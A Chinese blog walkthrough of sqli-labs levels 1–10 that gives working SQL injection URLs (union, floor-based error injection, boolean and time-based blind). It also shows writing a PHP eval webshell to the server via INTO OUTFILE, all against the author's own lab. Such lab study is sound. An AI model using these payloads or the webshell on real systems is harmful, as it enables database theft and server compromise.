赞
踩
一是构造报错页面,有错误信息出来,说明可以使用常规的方法进行构造,根据报错的信息,对原有的sql语句进行闭合,运行自己插入的语句。
二是使用“\”添加到代码后面,可以在报错的信息中,知道sql语句,是使用什么方式做的闭合。
我们构建报错页面,无非就是使用’ )等符号,对原有的sql语句进行闭合,或者使输入到原sql语句里面的id为假。然后运行自己想添加的语句。这个思路清晰了,就可以开始前几关的练习了。
2.其次在每个章节的查询语句下面添加依据输出语句,这样可以在页面上面输出sql实际进行执行的语句,方便理解。
3.ASCII码表:ASCII_百度百科
1.添加代码?id=1,发现页面正常,添加?id=1\,发现页面报错报错信息如下:
2.可以看到原sql语句是使用 ’ ’进行闭合,所以我们也使用 ’ 进行闭合,构建报错页面,这就是为什么要使用’来进行闭合,是根据原语句进行判断的,并不是默认的。找到注入点,后面就可以根据自己想要的内容进行sql注入。
1.继续使用?id=1\,发现报错信息如下:
2.可以看到原sql语句里面并没有使用符号对id值进行闭合,所以无法通过使用特殊符号闭合原语句,造成报错,尝试将id值输入为假。构造id=1 and 1=2,发现页面虽然没有错误信息,但是已经错误。
3.尝试构造查询语句进行查询,成功回显
1.继续构造?id=1\,发现第三关的原sql语句使用 ’) 进行闭合
2.构造?id=1') select 1,2,3 --+, 发现没有正确回显,这里的原因可以通过sql实际执行的sql语句进行查看,发现由于采用了’)的闭合方式,导致我们插入的语句和原有的语句变成了两条命令,需要使用 union 函数进行联合语句查询(使用时需要将第一条语句为假,才能会显出第二条语句的查询内容)。
1.继续构造?id=1\,发现第四关的原sql语句使用 ") 进行闭合
2.跟第三关一样,构造闭合,使用union函数查询?id=-1") union select 1,2,3 --+,成功回显
1.继续构造?id=1\,发现第五关的原sql语句使用 ' 进行闭合
2.使用语句?id=1' order by 3 --+,发现报语法错误,构建union函数显示正确,说明使用union函数进行注入,数据库正确的执行了语句,但是由于一些原因没有回显出来我们查询的结果。
3.考虑源代码设置不做回显,此时通过对比查看第四关,第五关代码可以证实,第五关在正确输入后不会有信息显示,为统一的页面:You are in........ 这也是为什么我们使用union函数做了注入,正确执行却没有信息显示的原因。
4.这种情况下报错信息依然可以利用,使用报错注入进行sql注入。在进行报错输入之前在确定一些信息?id=1' order by 3 --+:
5.使用报错输入,报错输入的可用方法很多,我这里使用floor函数,简单说一下报错输入使用的函数:
group by:用于结合聚合函数,根据一个或多个列对结果集进行分组。
用法:
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name;
下图取自菜鸟教程网:SQL GROUP BY 语句 | 菜鸟教程
COUNT(*) 函数返回表中的记录数:
用法:
SELECT COUNT(*) FROM table_name;
Rand():返回 0 到 1 的随机数,特别注意:当rang(0)、rand(1)时,返回的数值是固定的0 1 组合。
Floor():返回小于或等于 x 的最大整数。
CONCAT(s1,s2...sn):字符串 s1,s2 等多个字符串合并为一个字符串
6.报错注入的原理这里不在多说,改天单独写出来,使用如下语句进行报错注入,这是最基本的一条floor函数报错语句了,只进行了一条数据库版本号的查询:
?id=-1' union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x --+
7.进行多条信息查询:
?id=-1' union select count(*),2,concat((select concat(user(), version())),floor(rand(0)*2))x from information_schema.tables group by x --+
1.依然是?=id1\,测试闭合方式:
2.测试order by
3.进行报错注入:
?id=-1" union select 1, count(*), concat(version(),floor(rand(0)*2))as x from information_schema.tables group by x --+
4.多信息查询:
?id=-1" union select 1, count(*), concat((select concat(version(),0x3B,user(),0x3B,database())),floor(rand(0)*2))as x from information_schema.tables group by x --
1.本关的特点就是无法使用?id=1\判断闭合方式,因为数据库的系统报错内容被隐藏了,替换成了固定的成功和失败页面,所以就算找到闭合方式,也没有办法利用回显点做回显。这时候需要进行sql盲注,盲注的话我理解就是没有回显内容,所有的内容我们只能一个一个去猜,根据页面上面的成功和失败的提示,来判断自己猜的内容是否正确,确定了这个前提,就可以开始本关的注入了。
2.说来说去还是需要先知道闭合方式,我是通过看源码知道使用:')) 闭合的,如果你有其他的方法,可以留言给我。使用length函数猜数据库名的长度:
http://localhost/sqli-labs-master/sqli-labs-master/Less-7/?id=1')) and length(database()) = 8 --+
3.使用substr函数猜数据库名的具体字母:
http://localhost/sqli-labs-master/sqli-labs-master/Less-7/?id=1')) and substr(database(),1,1) = 's' --+
1.上面的第七关里,我使用盲注做了注入,虽然获取到了数据,但是好像根据第七关本身的意思,并不是让使用盲注,是使用outfile函数对数据库进行一句话木马注入。下面使用一句话木马在做一次。
2.想对一个网站进行一句话木马注入,必要的条件是1.获取root权限、2.知道网站的绝对路径。在这里,我们只根据第七关的信息是无法知道网站的绝对路径的,因为他没有报错信息,而且我目前的水平还没有别的办法知道,以后知道了在补上。
3.首先我们根据自己安装的sqliabs位置可以得到绝对路径,或者去前几关进行路径查询,根据查询出道的结果推断出网站的路径为/var/lib/www/,实际渗透时应该很难找到网站的绝对路径:
http://192.168.0.108/sqli-labs/sqli-labs-master/Less-1/?id=-1'union select 1,@@datadir,3
4.找到路径以后测试账号权限,必须是root账号才有权限进行读取操作,返回正常说明权限够:
http://192.168.0.108/sqli-labs/sqli-labs-master/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+
5.接下来就是进行一句话木马的插入,先随便导出一个txt文件实验一下:
http://192.168.0.108/sqli-labs/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "/var/www/html/sqli-labs/sqli-labs-master/Less-7/1.txt"--+
6.插几句题外话,在成功进行文件导出之前,一直没有成功,因为是自学,只能自己百度,把自己走的弯路给大家讲解一下:
(1)首先想进行文件导出,必须数据库的导出权限是允许的,也就是mysql里面的secure_file_priv 参数的值必须为 ,是的你没看错就是 ,参数一共三种取值:null、 、/文件名,null的含义是不允许导出, 的含义为允许任意导出,/文件名的含义是只允许导出到指定的文件夹。数据库查询的命令为:
show global variables like '%secure%';
数据库这边权限拿到后我试着进行导出,发现还是不行,在hackbar里面不同的运行,发现less-7文件夹里面就是没有文件生成,在确定自己的文件路径没有错以后,就把命令放到数据库里面直接进行了查询,报错:ERROR 1 (HY000): Can't create/,这样看就比较明显了,因为权限不够导致无法写入,直接chmod 777 less-7,然后再进行文件导出,一次成功。
7.能导出文件就比较简单了,直接替换1 2 3其中一个为一句话木马,文件格式为php
http://192.168.0.108/sqli-labs/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_POST["gai"]);?>',3 into outfile "/var/www/html/sqli-labs/sqli-labs-master/Less-7/1.php"--+
8.使用菜刀或者蚁剑进行链接就可以了,我这用的linux系统,还没下载这两个工具的资源,只有win版本的,就不放截图了。
1.先进行闭合测试,这关比较容易,使用 ' 闭合,然后测试字段长度为3
http://192.168.0.108/sqli-labs/sqli-labs-master/Less-8/?id=1' order by 3 --+
2.通过测试字段长度的过程可以知道,本关在错误时没有任何提示,只有正确时输出 you are in
个人觉得此时依然可以使用盲注,进行判断。
http://192.168.0.108/sqli-labs/sqli-labs-master/Less-8/?id=1' and length(database()) = 8 --+
3.不知道第八关是不是锻炼这个的,试着用第七关的一句话木马插入试试,发现没效果,百度了一下发现大家也是进行的盲注
1.第九关的话,通过阅读源码发现,不管输入对错,都会输出YOU are in ,我们使用盲注的时候,一般是根据页面的对错来判断,还有一种盲注的话,属于时间盲注,在数据库中可以理解为强制使一个进程时间为设置的时间,我们根据请求的时间来判断对错。
2.输入代码如下,使用if语句判断,如果数据库第一个字母的ascii码是115的话,语句运行时间为6密秒。执行以后,查看浏览器信息:
http://192.168.0.108/sqli-labs/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(6),1)--+
3.不管是布尔盲注还是时间盲注,都是根据执行语句的对错来进行判断。
1.今天打开第十关的时候,不经意间看了一下题目,发现,原来每一关把闭合方式,要做的注入类型,参数获取方式都写出来了...................
2.根据第十关的题目,这关还是进行时间的盲注,闭合是双引号。直接使用时间盲注:
http://192.168.0.108/sqli-labs/sqli-labs-master/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(6),1) --+
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。